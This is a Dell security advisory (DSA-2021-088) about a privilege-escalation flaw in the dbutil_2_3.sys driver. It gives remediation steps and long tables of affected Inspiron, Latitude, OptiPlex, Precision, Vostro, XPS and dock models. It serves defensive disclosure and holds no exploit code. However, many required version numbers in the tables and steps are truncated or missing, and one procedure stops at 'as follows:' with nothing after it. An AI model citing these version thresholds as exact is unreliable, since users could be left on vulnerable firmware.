DSA-2021-088: Dell Client Platform Security Update for an Insufficient Access Control Vulnerability in the Dell dbutil Driver

Dell has released remediation for a security vulnerability affecting the dbutil_2_3.sys driver packaged with Dell Client firmware update utility packages and other products.

Proprietary Code CVEDescriptionCVSS   Base ScoreCVSS Vector String
CVE-2021-21551Dell dbutil_2_3.sys driver contains an insufficient access control vulnerability which may lead to escalation of privileges, denial of service, or information disclosure. Local authenticated user access is required.8.8CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

The vulnerability described in the table above exists in the dbutil_2_3.sys driver. This driver may have been installed on to the Windows operating system of your Dell Client platform by one or more impacted products or components.

Refer to the “Affected Products and Remediation” section of this advisory for details regarding:

  • The list of impacted platforms, products, and components
  • The remediation steps including:
    • How to remove the vulnerable driver from your system
    • How to obtain an updated, remediated version of the driver 
  • What to know when using end of service life (aka end of support) platforms, products, or components

Additional, related information is available in this FAQ.

Dell Technologies raccomanda a tutti i clienti di prendere in considerazione sia il punteggio base CVSS, sia ogni eventuale punteggio temporale o ambientale che possa avere effetti sul livello di gravità potenziale associato a una specifica vulnerabilità di sicurezza.

Affected Products and Remediation

This section includes the following subsections:

  1. Affected platforms, products, and components.
  2. Remediation Steps:
    1. Determine impacted platforms, products, and components in your environment.
    2. Remove the vulnerable driver from your system.
    3. Obtain an updated, remediated version of the driver.
  3. What to know when installing a firmware update using an unremediated firmware update utility package.
  4. What to know when using end of service life (aka end of support) platforms, products, or components.

1. Affected platforms, products, and components
The vulnerable driver (dbutil_2_3.sys) may have been installed on to the Windows operating system of your Dell Client platform by one or more of the following products or components:

  • Impacted firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware update utilities and dock firmware update utilities (see Note 1 and Note 2 below).
  • Any of the Dell Download Notification solutions, including Dell Command Update, Dell Update, Alienware Update, and Dell SupportAssist for PCs (Home and Business).
  • Dell System Inventory Agent
  • Dell Platform Tags
  • Dell BIOS Flash Utility

Note 1: The specific Dell Client platforms with impacted firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware update utilities and dock firmware update utilities, are listed in the “Additional Information” section of this advisory.

  • This information is split into two tables with Table A listing impacted, supported platforms and Table B listing impacted platforms which have reached end of service life (aka end of support).

Note 2: This vulnerability is in the dbutil_2_3.sys driver which is included with firmware update utility packages. The actual firmware is not impacted by the vulnerability.

2. Remediation Steps
 Execute the following three steps to remediate this vulnerability:

  • 2.1. Determine impacted platforms, products, and components in your environment.
  • 2.2. Remove the vulnerable driver from your system.
  • 2.3. Obtain an updated, remediated version of the driver .

Details on each step are provided below.  

2.1 Determine impacted platforms, products, and components in your environment

Answer the following questions to determine the impacted platforms, products, and components in your environment. Then, execute the defined actions to remediate your environment.

2.1.1 Are you using a Dell Client platform which has an impacted firmware update utility package?

 If yes, perform the following actions:

  • Action 1: Remove the dbutil_2_3.sys driver from your system as described in 2.2.2.
  • Action 2: Obtain an updated, remediated version of the driver described in 2.3.  

Note: The specific Dell Client platforms with impacted firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware update utilities and dock firmware update utilities, are listed in the “Additional Information” section of this advisory.

  • This information is split into two tables with Table A listing impacted, supported platforms and Table B listing impacted platform which have reached end of service life (aka end of support).

2.1.2 Are you using:

  • Any of the Dell Download Notification solutions including, Dell Command Update, Dell Update, Alienware Update, and Dell SupportAssist for PCs (Home and Business)?
  • Dell System Inventory Agent
  • Dell Platform Tags
  • Dell BIOS Flash Utility

If yes, perform the following actions:

  • Action 1: Update to a remediated version of the product or component as described in 2.2.1.
  • Action 2: Remove the dbutil_2_3.sys driver from your system as described in 2.2.2.

2.2. Remove the vulnerable driver from your system

Execute the following 2 steps to remove the dbutil_2_3.sys driver from your system, as applicable.

2.2.1 Update to a remediated version of the impacted product or component

If you are using any of the following products or components:

  • Any of the Dell Download Notification solutions including, Dell Command Update, Dell Update, Alienware Update, and Dell SupportAssist for PCs (Home and Business)
  • Dell System Inventory Agent
  • Dell Platform Tags
  • Dell BIOS Flash Utility

You must first update to a remediated version of the impacted product or component using respective instructions below. This action will also install an updated remediated version of the driver (DBUtilDrv2.sys).

For Dell Command Update, Dell Update, and Alienware Update:

  • Manually update to version 4.2 or greater
    • Visit the Dell Support Drivers and Download site for updates for your platform
    • If the self-update feature of these components is not enabled on your system, you can:
      • On an internet connected system, open / run the application
      • Click “Check for Updates”.

Note: When using either the “Check for Updates” option above, or when the self-update feature for these components is enabled, components will be updated as needed to prepare for driver removal via the next step (2.2.2), but the version of the component may not be reflected as an updated version.

  • Reboot your system.

For Dell SupportAssist for PCs (Home and Business):

  • Manually update to the latest available version:
    • Dell SupportAssist for Home PCs version 3.9.2 or greater will include the remediated driver and is expected to be available by June 15, 2021.
    • Dell SupportAssist for Business PCs version 2.4.1 or greater will include the remediated driver.
    • If the self-update feature of these components is not enabled on your system, you can:
      • On an internet connected system, open / run the application
      • Click “Check for Updates”.

Note: When using either the “Check for Updates” option above, or when the self-update feature for these components is enabled, components will be updated as needed to prepare for driver removal via the next step (2.2.2), but the version of the component may not be reflected as an updated version.

  • Reboot your system.

 For Dell System Inventory Agent:

  • Synchronize your Microsoft System Center Configuration Manager’s third-party updates feature, or Microsoft System Center Update Publisher (along with Windows Server Updates Services) to the latest Dell-provided catalog. Doing so will update the systems in your enterprise environment with the updated, remediated Dell System (OpenManage) Inventory Agent.
  • Update to version or greater by downloading / applying the latest available update on this page .
  • Reboot your system.

For Dell Platform Tags:

  • Update to version, A04 or greater by downloading / applying the latest available update on this page.
  • Reboot your system.

For Dell BIOS Flash Utility:

  • Update to version 3.3.11, A07 or greater by downloading / applying the latest available update on this page.
  • Reboot your system.

2.2.2 Remove the dbutil_2_3.sys driver from your system

Remove the dbutil_2_3.sys driver from your system using one of the following options:

  • Manually download and run a utility to remove the driver from the system (Option A).
  • Utilize one of the Dell Download Notification solutions to automatically obtain and run a utility to remove the driver from the system (Option B).
  • Manually remove the driver from the system (Option C).

Option A (Recommended):
Manually download and run the Dell Security Advisory Update – DSA-2021-088 utility to remove the dbutil_2_3.sys driver from the system.

Option B:
Use one of the Dell Download Notification solutions, to obtain and run the Dell Security Advisory Update – DSA-2021-088 utility to remove the dbutil_2_3.sys driver from the system.

Scenario 1: If your Dell Download Notification solution is configured to both automatically notify you of updates and apply them, then this utility will be automatically downloaded and run for you.

Scenario 2: If your Dell Download Notification solution is not configured to automatically download and apply updates, obtain and run the utility as follows:

Option C:
Manually remove the vulnerable dbutil_2_3.sys driver from the system using the following steps:

1. Check the following locations for the dbutil_2_3.sys driver file:

  • C:\Users\<username>\AppData\Local\Temp
  • C:\Windows\Temp

2. Select the dbutil_2_3.sys file and hold down the SHIFT key while pressing the DELETE key to permanently delete.

3. From an administrator command prompt, run “sc.exe delete DBUtil_2_3”.

Reference: For information on sc.exe commands, see Microsoft documentation.

2.3 Obtain an updated, remediated version of the driver
Execute the following to obtain an updated driver (DBUtilDrv2.sys) on your system.

Reminder: The updated driver was previously installed for certain products and components as a part of the instructions in Section 2.2.1.

For a Dell Client platform which has an impacted firmware update utility package:

  • With your next scheduled firmware update, download and apply the latest available firmware update utility which contains a remediated dbutil driver (DBUtilDrv2.sys). Customers can use one of the Dell Download Notification solutions to receive updated firmware update utility packages, as applicable.
  • Reboot your system


  • For supported platforms running Windows 10, updates are available as of the publishing of this advisory. (See Table A)
  • For supported platforms running Windows 7 or 8.1, updates are expected to be available by July 31, 2021. Once the updates are available, this advisory will be updated. If you update your BIOS, Thunderbolt firmware, TPM firmware, or doc firmware prior to the updates being available, you must also execute one of the three options defined in Step 2.2.2 of this section – even if you have previously performed this step – immediately following the update.

3. What to know when installing a firmware update using an unremediated firmware update utility package
You should still execute the steps in Sections 2.1 and 2.2 now. However, if you later update your BIOS, Thunderbolt firmware, TPM firmware, or dock firmware, to a version prior to the versions listed in Table A, you must take the following actions after applying the firmware update:

  1. Reboot your system.
  2. Repeat step 2.2.2 to again remove the dbutil_2_3.sys driver from your system.

4. What to know when using end of service life (aka end of support) platforms, products, or components
Remediated packages will not be provided for end of service life platforms (see Table B). Therefore, you must:

  1. Execute the steps in Sections 2.1 and 2.2.
  2. After applying any firmware update, including BIOS, Thunderbolt firmware, TPM firmware, or dock firmware:
  • Reboot your system.
  • Repeat step 2.2.2 to again remove the dbutil_2_3.sys driver from your system.

Dell would like to thank Alex Ionescu, Satoshi Tanda, and Yarden Shafir of CrowdStrike; Enrique Nissim of IOActive; Scott Noone of OSR; and Kasif Dekel of SentinelOne for reporting this issue.

Cronologia delle revisioni
1.02021-05-04Initial Release
1.12021-05-11Updated links to Dell Security Advisory Update – DSA-2021-088 utility v2.1 (A02)
2.02021-05-25Added additional impacted software products Dell BIOS Flash Utility and Dell SupportAssist for PCs (Home and Business)
Informazioni correlate

Dell Security Advisories and Notices
Dell Vulnerability Response Policy
CVSS Scoring Guide

Informazioni aggiuntive

Additional, related information is available in this FAQ.

Table A: Supported Dell platforms impacted firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities, TPM firmware update utilities and dock firmware update utilities.

Note: For platforms running Windows 10: Obtain the version specified in the table, or greater as available, for your BIOS, Thunderbolt Firmware Update, TPM Firmware Update, Dock Firmware Update Version. Once available, the table will be revised to add the updated versions for Windows 7 and 8.1.

Platform/ProductBIOS Version (or greater)Thunderbolt Firmware Update Version (or greater)TPM Firmware Update Version (or greater)Dock Firmware Update Version (or greater)
ChengMing 39671.11.0N/AN/AN/A
ChengMing 39771.11.0N/AN/AN/A
ChengMing 39802.17.0N/AN/AN/A
ChengMing 39881.5.0N/AN/AN/A
ChengMing 39901.3.1N/AN/AN/A
ChengMing 39911.3.1N/AN/AN/A
Dell G15 55101.3.1N/AN/AN/A
Dell G3 35001.7.1N/AN/AN/A
Dell G3 35791., A03N/AN/A
Dell G3 37791., A03N/AN/A
Dell G5 50001.1.0N/AN/AN/A
Dell G5 50901.4.0N/AN/AN/A
Dell G5 55001.7.1N/AN/AN/A
Dell G5 55871., A02N/AN/A
Dell G5 55901.14.0N/AN/AN/A
Dell G7 75001.6.0N/AN/AN/A
Dell G7 75881., A02N/AN/A
Dell G7 75901.14.0N/AN/AN/A
Dell G7 77001.6.0N/AN/AN/A
Dell G7 77901.14.0N/AN/AN/A
Dell Gaming G3 35901.12.0N/AN/AN/A
Dell Precision 3430 Tower1.10.0N/A7.2.0.2N/A
Dell Precision 3430 XL1.10.0N/A7.2.0.2N/A
Dell Precision 3431 Tower1.7.2N/AN/AN/A
Dell Precision 3630 Tower2.7.0N/AN/AN/A
Dell Precision 3930 Rack2.10.0N/A7.2.0.2N/A
Dell Precision 3930 XL Rack2.10.0N/A7.2.0.2N/A
Dell Precision 5820 Tower2.8.0N/A7.2.0.2N/A
Dell Precision 7820 Tower2.12.0N/AN/AN/A
Dell Precision 7820 XL Tower2.12.0N/AN/AN/A
Dell Precision 7920 Tower2.12.0N/AN/AN/A
Dell Precision 7920 XL Tower2.12.0N/AN/AN/A
Embedded Box PC 50001.9.1N/AN/AN/A
Inspiron 13 53701.17.0N/AN/AN/A
Inspiron 14 (5468)1.13.1N/AN/AN/A
Inspiron 14 (7460)1.14.1N/AN/AN/A
Inspiron 14 Gaming (7466)1.8.0N/AN/AN/A
Inspiron 14 Gaming (7467)1.13.1N/AN/AN/A
Inspiron 15 (5566)1.13.1N/AN/AN/A
Inspiron 15 (5567)1.4.1N/AN/AN/A
Inspiron 15 (7560)1.14.1N/AN/AN/A
Inspiron 15 (7572)1.6.1N/AN/AN/A
Inspiron 15 5582 2-in-12.9.0N/AN/AN/A
Inspiron 15 Gaming (7566)1.8.0N/AN/AN/A
Inspiron 15 Gaming (7567)1.13.1N/AN/AN/A
Inspiron 15 Gaming (7577), A05N/AN/A
Inspiron 17 (5767)1.4.1N/AN/AN/A
Inspiron 32681.15.0N/AN/AN/A
Inspiron 34702.17.0N/AN/AN/A
Inspiron 34711.5.0N/AN/AN/A
Inspiron 34801.12.0N/AN/AN/A
Inspiron 34811.11.0N/AN/AN/A
Inspiron 34901.10.0N/AN/AN/A
Inspiron 34931.12.0N/AN/AN/A
Inspiron 35011.4.0N/AN/AN/A
Inspiron 35801.12.0N/AN/AN/A
Inspiron 35811.11.0N/AN/AN/A
Inspiron 35831.12.0N/AN/AN/A
Inspiron 35841.11.0N/AN/AN/A
Inspiron 35901.10.0N/AN/AN/A
Inspiron 35931.12.0N/AN/AN/A
Inspiron 36681.15.0N/AN/AN/A
Inspiron 36702.17.0N/AN/AN/A
Inspiron 36711.5.0N/AN/AN/A
Inspiron 37801.12.0N/AN/AN/A
Inspiron 37811.11.0N/AN/AN/A
Inspiron 37901.10.0N/AN/AN/A
Inspiron 37931.12.0N/AN/AN/A
Inspiron 38801.3.1N/AN/AN/A
Inspiron 38811.3.1N/AN/AN/A
Inspiron 38911.0.2N/AN/AN/A
Inspiron 53001.5.0N/AN/AN/A
Inspiron 53011.6.1N/AN/AN/A
Inspiron 53901.10.0N/AN/AN/A
Inspiron 53911.11.0N/AN/AN/A
Inspiron 5400 2-in-11.5.0N/AN/AN/A
Inspiron 5400 AIO1.3.1N/AN/AN/A
Inspiron 54011.5.1N/AN/AN/A
Inspiron 54021.4.1N/AN/AN/A
Inspiron 5406 2-in-11.4.1N/AN/AN/A
Inspiron 54081.5.1N/AN/AN/A
Inspiron 54091.4.1N/AN/AN/A
Inspiron 54802.9.0N/AN/AN/A
Inspiron 5481 2-in-12.9.0N/AN/AN/A
Inspiron 54822.9.0N/AN/AN/A
Inspiron 54901.12.0N/AN/AN/A
Inspiron 5490 AIO1.7.0N/AN/AN/A
Inspiron 5491 2-in-11.8.1N/AN/AN/A
Inspiron 54931.12.0N/AN/AN/A
Inspiron 54941.10.0N/AN/AN/A
Inspiron 54981.12.0N/AN/AN/A
Inspiron 55011.5.1N/AN/AN/A
Inspiron 55021.4.1N/AN/AN/A
Inspiron 55081.5.1N/AN/AN/A
Inspiron 55091.4.1N/AN/AN/A
Inspiron 55701.4.1N/AN/AN/A
Inspiron 55802.9.0N/AN/AN/A
Inspiron 55831.12.0N/AN/AN/A
Inspiron 55841.12.0N/AN/AN/A
Inspiron 55901.12.0N/AN/AN/A
Inspiron 5591 2-in-11.8.1N/AN/AN/A
Inspiron 55931.12.0N/AN/AN/A
Inspiron 55941.10.0N/AN/AN/A
Inspiron 55981.12.0N/AN/AN/A
Inspiron 57701.4.1N/AN/AN/A
Inspiron 73001.6.1N/AN/AN/A
Inspiron 7300 2-in-11.2.4N/AN/AN/A
Inspiron 7306 2-in-11.4.1N/AN/AN/A
Inspiron 73801.12.0N/AN/AN/A
Inspiron 73861.9.0N/AN/AN/A
Inspiron 73901.11.0N/AN/AN/A
Inspiron 73911.11.0N/AN/AN/A
Inspiron 7391 2-in-, A01N/AN/A
Inspiron 74001.6.1N/AN/AN/A
Inspiron 74721.6.1N/AN/AN/A
Inspiron 74901., A03N/AN/A
Inspiron 75001., A01N/AN/A
Inspiron 7500 2-in-1 Black1.2.4N/AN/AN/A
Inspiron 7500 2-in-1 Silver1.5.0N/AN/AN/A
Inspiron 75011., A01N/AN/A
Inspiron 7506 2-in-11.4.1N/AN/AN/A
Inspiron 75801.12.0N/AN/AN/A
Inspiron 75861.9.0N/AN/AN/A
Inspiron 75901.8.0N/AN/AN/A
Inspiron 7590 2-in-11.11.0N/AN/AN/A
Inspiron 75911.8.0N/AN/AN/A
Inspiron 7591 2-in-, A01N/AN/A
Inspiron 77001.3.1N/AN/AN/A
Inspiron 7706 2-in-11.4.1N/AN/AN/A
Inspiron 77861.9.0N/AN/AN/A
Inspiron 77901.7.0N/AN/AN/A
Inspiron 77911., A01N/AN/A
Inspiron 5491 AIO1.7.0N/AN/AN/A
Latitude 12 72851., A05N/AN/A
Latitude 12 Rugged Extreme 72141.28.0N/AN/AN/A
Latitude 12 Rugged Tablet 72121.31.2N/AN/AN/A
Latitude 14 Rugged 54141.28.0N/AN/AN/A
Latitude 14 Rugged Extreme 74141.28.0N/AN/AN/A
Latitude 31201.0.5N/AN/AN/A
Latitude 31801.13.2N/AN/AN/A
Latitude 31891.13.2N/AN/AN/A
Latitude 31901.13.1N/AN/AN/A
Latitude 3190 2-in-11.13.1N/AN/AN/A
Latitude 33001.10.1N/AN/AN/A
Latitude 33011.13.0N/AN/AN/A
Latitude 33101.8.3N/AN/AN/A
Latitude 3310 2-in-11.17.1N/AN/AN/A
Latitude 33801.13.1N/AN/AN/A
Latitude 33901.14.2N/AN/AN/A
Latitude 34001.16.0N/A74.64N/A
Latitude 34101.5.1N/AN/AN/A
Latitude 34701.19.0N/AN/AN/A
Latitude 34801.15.1N/AN/AN/A
Latitude 3480 mobile thin client1.15.1N/AN/AN/A
Latitude 34901.14.1N/A7.2.0.2N/A
Latitude 35001.16.0N/A74.64N/A
Latitude 35101.5.1N/AN/AN/A
Latitude 35701.19.0N/AN/AN/A
Latitude 35801.15.1N/AN/AN/A
Latitude 35901.14.1N/A7.2.0.2N/A
Latitude 51751.8.1N/AN/AN/A
Latitude 51791.8.1N/AN/AN/A
Latitude 52001., A04N/AN/A
Latitude 52801.19.3N/AN/AN/A
Latitude 5280 mobile thin client1.19.3N/AN/AN/A
Latitude 5285 2-in-11.11.2N/AN/AN/A
Latitude 52881.19.3N/AN/AN/A
Latitude 52891.22.2N/AN/AN/A
Latitude 52901.16.3N/A7.2.0.2N/A
Latitude 5290 2-in-, A037.2.0.2N/A
Latitude 53001.14.0N/A74.64N/A
Latitude 5300 2-IN-, A0474.64N/A
Latitude 53101., A00N/AN/A
Latitude 5310 2-in-, A00N/AN/A
Latitude 53201.14.0N/AN/AN/A
Latitude 5320 2-in-11.14.0N/AN/AN/A
Latitude 54001., A0474.64N/A
Latitude 54011., A0474.64N/A
Latitude 54101., A01N/AN/A
Latitude 54111., A01N/AN/A
Latitude 54201.5.2N/AN/AN/A
Latitude 54801., A06N/AN/A
Latitude 54881., A06N/AN/A
Latitude 54901.16.3N/A7.2.0.2N/A
Latitude 54911., A047.2.0.2N/A
Latitude 54951.4.0N/AN/AN/A
Latitude 55001., A0474.64N/A
Latitude 55011., A0474.64N/A
Latitude 55101., A01N/AN/A
Latitude 55111., A01N/AN/A
Latitude 55201.5.1N/AN/AN/A
Latitude 55801., A06N/AN/A
Latitude 55901.16.3N/A7.2.0.2N/A
Latitude 55911., A047.2.0.2N/A
Latitude 7200 2-in-, A0374.64N/A
Latitude 7210 2 in, A01N/AN/A
Latitude 72751., A08N/AN/A
Latitude 72801., A06N/AN/A
Latitude 72901., A047.2.0.2N/A
Latitude 73001., A0474.64N/A
Latitude 73101., A01N/AN/A
Latitude 73201.5.0N/AN/AN/A
Latitude 73701., A08N/AN/A
Latitude 73801., A06N/AN/A
Latitude 73891.22.2N/AN/AN/A
Latitude 73901., A047.2.0.2N/A
Latitude 7390 2-in-, A047.2.0.2N/A
Latitude 74001., A0474.64N/A
Latitude 7400 2in11., A0374.64N/A
Latitude 74101., A01N/AN/A
Latitude 74201.5.0N/AN/AN/A
Latitude 74801., A06N/AN/A
Latitude 74901., A047.2.0.2N/A
Latitude 75201.5.0N/AN/AN/A
Latitude 94101., A01N/AN/A
Latitude 95101., A01N/AN/A
Latitude E52701.24.3N/AN/AN/A
Latitude E54701.24.3N/AN/AN/A
Latitude E55701., A08N/AN/A
Latitude E72701.27.3N/AN/AN/A
Latitude E7270 mobile thin client1.20.3,N/AN/AN/A
Latitude E74701.27.3N/AN/AN/A
Latitude Rugged 54201.12.0N/A7.2.0.2N/A
Latitude Rugged 54241.12.0N/A7.2.0.2N/A
Latitude Rugged 74241.12.0N/A7.2.0.2N/A
Latitude Rugged Extreme 74241.12.0N/AN/AN/A
Latitude Rugged Extreme Tablet 72201.9.1N/A74.64N/A
Latitude Rugged Extreme Tablet 7220EX1.9.1N/A74.64N/A
OptiPlex 30401.14.2N/AN/AN/A
OptiPlex 30461.11.1N/AN/AN/A
OptiPlex 30501.15.1N/AN/AN/A
OptiPlex 3050 AIO1.16.1N/AN/AN/A
OptiPlex 30601.9.1N/A7.2.0.2N/A
OptiPlex 30801.3.1N/AN/AN/A
OptiPlex 3090 Ultra1.0.10N/AN/AN/A
OptiPlex 3240 All-in-One1.11.1N/AN/AN/A
OptiPlex 50401.17.1N/AN/AN/A
OptiPlex 50501.15.1N/AN/AN/A
OptiPlex 5055 A-Serial1.2.9N/AN/AN/A
OptiPlex 5055 Ryzen APU1.2.8N/AN/AN/A
OptiPlex 5055 Ryzen CPU1.1.20N/AN/AN/A
OptiPlex 50601.9.1N/A7.2.0.2N/A
OptiPlex 50701.7.0N/AN/AN/A
OptiPlex 50801.3.10N/AN/AN/A
OptiPlex 5250 All-in-One1.16.1N/AN/AN/A
OptiPlex 5260 All-In-One1.12.0N/A7.2.0.2N/A
OptiPlex 5270 AIO1.7.0N/AN/AN/A
OptiPlex 5480 AIO1.4.0N/AN/AN/A
OptiPlex 70401.19.0N/AN/AN/A
OptiPlex 70501.15.1N/AN/AN/A
OptiPlex 70601.9.1N/A7.2.0.2N/A
OptiPlex 70701.7.2N/AN/AN/A
OptiPlex 7070 Ultra1.7.0N/AN/AN/A
OptiPlex 70711.7.2N/AN/AN/A
OptiPlex 70801.13.0N/AN/AN/A
OptiPlex 7090 Ultra1.0.10N/AN/AN/A
OptiPlex 7440 AIO1.14.1N/AN/AN/A
OptiPlex 7450 All-In-One1.16.1N/AN/AN/A
OptiPlex 7460 All-In-One1.12.0N/A7.2.0.2N/A
OptiPlex 7760 AIO1.12.0N/A7.2.0.2N/A
OptiPlex XE31.9.1N/A7.2.0.2N/A
Precision 17 M57501.7.2N/AN/AN/A
Precision 3240 CFF1.4.0N/AN/AN/A
Precision 3420 Tower2.17.1N/AN/AN/A
Precision 34401.13.0N/AN/AN/A
Precision 35101., A08N/AN/A
Precision 35201., A06N/AN/A
Precision 35301., A047.2.0.2N/A
Precision 35401., A0474.64N/A
Precision 35411., A0474.64N/A
Precision 35501., A01N/AN/A
Precision 35511., A01N/AN/A
Precision 35601.5.1N/AN/AN/A
Precision 3620 Tower2.17.1N/AN/AN/A
Precision 36401.4.3N/AN/AN/A
Precision 55101., A09N/AN/A
Precision 55201., A04N/AN/A
Precision 55301., A027.2.0.2N/A
Precision 5530 2-in-, A027.2.0.2N/A
Precision 55401., A027.2.0.2N/A
Precision 55501., A00N/AN/A
Precision 5720 AIO2.8.1N/AN/AN/A
Precision 5820 XL Tower2.8.0N/AN/AN/A
Precision 75201., A06N/AN/A
Precision 75301., A027.2.0.2N/A
Precision 75401., A03N/AN/A
Precision 75501., A01N/AN/A
Precision 77201., A06N/AN/A
Precision 77301., A027.2.0.2N/A
Precision 77401., A03N/AN/A
Precision 77501., A01N/AN/A
Vostro 13 53701.17.0N/AN/AN/A
Vostro 14 (5468)1.14.1N/AN/AN/A
Vostro 14 54711.17.0N/AN/AN/A
Vostro 15 (5568)1.14.1N/AN/AN/A
Vostro 15 75701., A05N/AN/A
Vostro 15 7580 G-Series1., A02N/AN/A
Vostro 30702.17.0N/AN/AN/A
Vostro 32671.15.1N/AN/AN/A
Vostro 32681.15.1N/AN/AN/A
Vostro 34001.4.0N/AN/AN/A
Vostro 34011.1.0N/AN/AN/A
Vostro 34702.17.0N/AN/AN/A
Vostro 34711.5.0N/AN/AN/A
Vostro 34801.12.0N/AN/AN/A
Vostro 34811.11.0N/AN/AN/A
Vostro 34901.10.0N/AN/AN/A
Vostro 34911.15.0N/AN/AN/A
Vostro 35001.4.0N/AN/AN/A
Vostro 35011.1.0N/AN/AN/A
Vostro 35801.12.0N/AN/AN/A
Vostro 35811.11.0N/AN/AN/A
Vostro 35831.12.0N/AN/AN/A
Vostro 35841.11.0N/AN/AN/A
Vostro 35901.10.0N/AN/AN/A
Vostro 35911.15.0N/AN/AN/A
Vostro 36601.15.1N/AN/AN/A
Vostro 36671.15.1N/AN/AN/A
Vostro 36681.15.1N/AN/AN/A
Vostro 36691.15.1N/AN/AN/A
Vostro 36702.17.0N/AN/AN/A
Vostro 36711.5.0N/AN/AN/A
Vostro 3681 1.3.1N/AN/AN/A
Vostro 36901.0.2N/AN/AN/A
Vostro 38811.3.1N/AN/AN/A
Vostro 38881.3.1N/AN/AN/A
Vostro 38901.0.2N/AN/AN/A
Vostro 50901.5.0N/AN/AN/A
Vostro 53001.5.0N/AN/AN/A
Vostro 53011.6.1N/AN/AN/A
Vostro 53901.10.0N/AN/AN/A
Vostro 53911.11.0N/AN/AN/A
Vostro 54011.5.3N/AN/AN/A
Vostro 54021.4.1N/AN/AN/A
Vostro 54101.5.1N/AN/AN/A
Vostro 54812.9.0N/AN/AN/A
Vostro 54901.12.0N/AN/AN/A
Vostro 54911.12.0N/AN/AN/A
Vostro 55011.5.1N/AN/AN/A
Vostro 55021.4.1N/AN/AN/A
Vostro 55812.9.0N/AN/AN/A
Vostro 55901.12.0N/AN/AN/A
Vostro 55911.12.0N/AN/AN/A
Vostro 58801.3.0N/AN/AN/A
Vostro 58901.0.2N/AN/AN/A
Vostro 75001., A01N/AN/A
Vostro 75901.8.0N/AN/AN/A
Wyse 50701.9.0N/A7.2.0.2N/A
Wyse 54701.6.0N/AN/AN/A
Wyse 5470 All-In-One1.7.0N/AN/AN/A
Wyse 7040 Thin Client1.10.1N/AN/AN/A
XPS 12 (9250), A08N/AN/A
XPS 13 (9360), A04N/AN/A
XPS 13 (9370), A047.2.0.2N/A
XPS 13 2-in-1 (9365), A03N/AN/A
XPS 13 73901., A01N/AN/A
XPS 13 7390 2-in-11.7.1N/A74.64N/A
XPS 13 93001.4.1N/A74.64N/A
XPS 13 93051.0.5N/AN/AN/A
XPS 13 93102.2.0N/AN/AN/A
XPS 13 9310 2-in-12.2.1N/AN/AN/A
XPS 13 93801., A027.2.0.2N/A
XPS 15 (9560), A04N/AN/A
XPS 15 2-in-1 (9575), A037.2.0.2N/A
XPS 15 95001., A00N/AN/A
XPS 15 95701., A027.2.0.2N/A
XPS 17 97001.7.2N/AN/AN/A
XPS 27 AIO (7760)2.8.1N/AN/AN/A
XPS 75901., A027.2.0.2N/A
XPS 89002.9.1N/AN/AN/A
XPS 89402.0.11N/AN/AN/A
Dell Dock WD15N/AN/AN/A1.0.8
Dell Dock WD19N/AN/AN/A01.00.15
Dell Thunderbolt Dock TB16N/AN/AN/A1.0.4
Dell Thunderbolt Dock TB18DCN/AN/AN/A1.0.10

Table B: End of Service Life Dell platforms with impacted firmware update utility packages, including BIOS update utilities, Thunderbolt firmware update utilities and TPM firmware update utilities.

Alienware 14Inspiron 580sOptiPlex 780
Alienware 17 51m r2Inspiron 620OptiPlex 790
Alienware Area 51Inspiron 660OptiPlex 9010
Alienware M14xr2Inspiron 660sOptiPlex 9020
Alienware M15 R4Inspiron 7359OptiPlex 9030 AIO
Alienware M17xr4Inspiron 7368OptiPlex 990
Alienware M18xr2Inspiron 7437OptiPlex Fx130
Asm100Inspiron 7520OptiPlex Fx170
Asm100r2Inspiron 7537OptiPlex Xe2
Cheng Ming 3967Inspiron 7548Precision 7510
Dell CanvasInspiron 7558Precision 7710
Dell Latitude 14 Rugged ExtremeInspiron 7559Precision M4600
Inspiron 1122Inspiron 7720Precision M4700
Inspiron 11-3162Inspiron 7737Precision M6600
Inspiron 1210Inspiron 7746Precision M6700
Inspiron 14-3452Inspiron One 19Precision R5500
Inspiron 14-5459Inspiron One 2020Precision T1700
Inspiron 15-3552Latitude 3150Precision T3500
Inspiron 1545Latitude 3160Precision T3600
Inspiron 15-5559Latitude 3310 2in1Precision T3610
Inspiron 15-5565Latitude 3330Precision T5500
Inspiron 1564Latitude 3340Precision T5600
Inspiron 15zLatitude 3350Precision T5610
Inspiron 17-5759Latitude 3440Precision T5810
Inspiron 20-3052Latitude 3450Precision T7500
Inspiron 2330Latitude 3460Precision T7600
Inspiron 24-3452Latitude 3460 Wyse TcPrecision T7610
Inspiron 24-3455Latitude 3550Precision T7810
Inspiron 24-5475Latitude 3560Precision T7910
Inspiron 3043Latitude 5250Vostro 14 3458
Inspiron 3048Latitude 5285Vostro 14-3446
Inspiron 3147Latitude 5450Vostro 1450
Inspiron 3157Latitude 5520Vostro 14-5459
Inspiron 3168Latitude 5550Vostro 15 3561
Inspiron 3252Latitude 7285Vostro 1550
Inspiron 3421Latitude 7350Vostro 20 3052
Inspiron 3437Latitude E5420Vostro 20 3055
Inspiron 3442Latitude E5430Vostro 220s
Inspiron 3443Latitude E5440Vostro 230
Inspiron 3520Latitude E5530Vostro 2521
Inspiron 3521Latitude E5540Vostro 260
Inspiron 3537Latitude E6220Vostro 270
Inspiron 3542Latitude E6230Vostro 270s
Inspiron 3543Latitude E6320Vostro 3010
Inspiron 3646Latitude E6330Vostro 3252
Inspiron 3647Latitude E6430Vostro 3560
Inspiron 3655Latitude E6430 AtgVostro 3800
Inspiron 3656Latitude E6440Vostro 3900
Inspiron 3847Latitude E6530Vostro 3900g
Inspiron 5323Latitude E6540Vostro 3901
Inspiron 5348Latitude E7240Vostro 3902
Inspiron 5423Latitude E7250Vostro 3905
Inspiron 5443Latitude E7270 Wyse TcVostro 470
Inspiron 5448Latitude E7440Vostro 5480
Inspiron 5485 2n1Latitude E7450XPS 13 9343
Inspiron 5520Latitude Xt3XPS 8700
Inspiron 5521OptiPlex 3010XPS 9350
Inspiron 5537OptiPlex 3011 AIOXPS 9530
Inspiron 5543OptiPlex 3020XPS One 2710
Inspiron 5548OptiPlex 3030 AIOXPS  13 9343
Inspiron 5576OptiPlex 390XPS 8700
Inspiron 5577OptiPlex 5055XPS 9350
Inspiron 5676OptiPlex 7010XPS 9530
Inspiron 5737OptiPlex 7020XPS 9550
Inspiron 5749OptiPlex 7090 UltraXPS ONE 2710

Source :

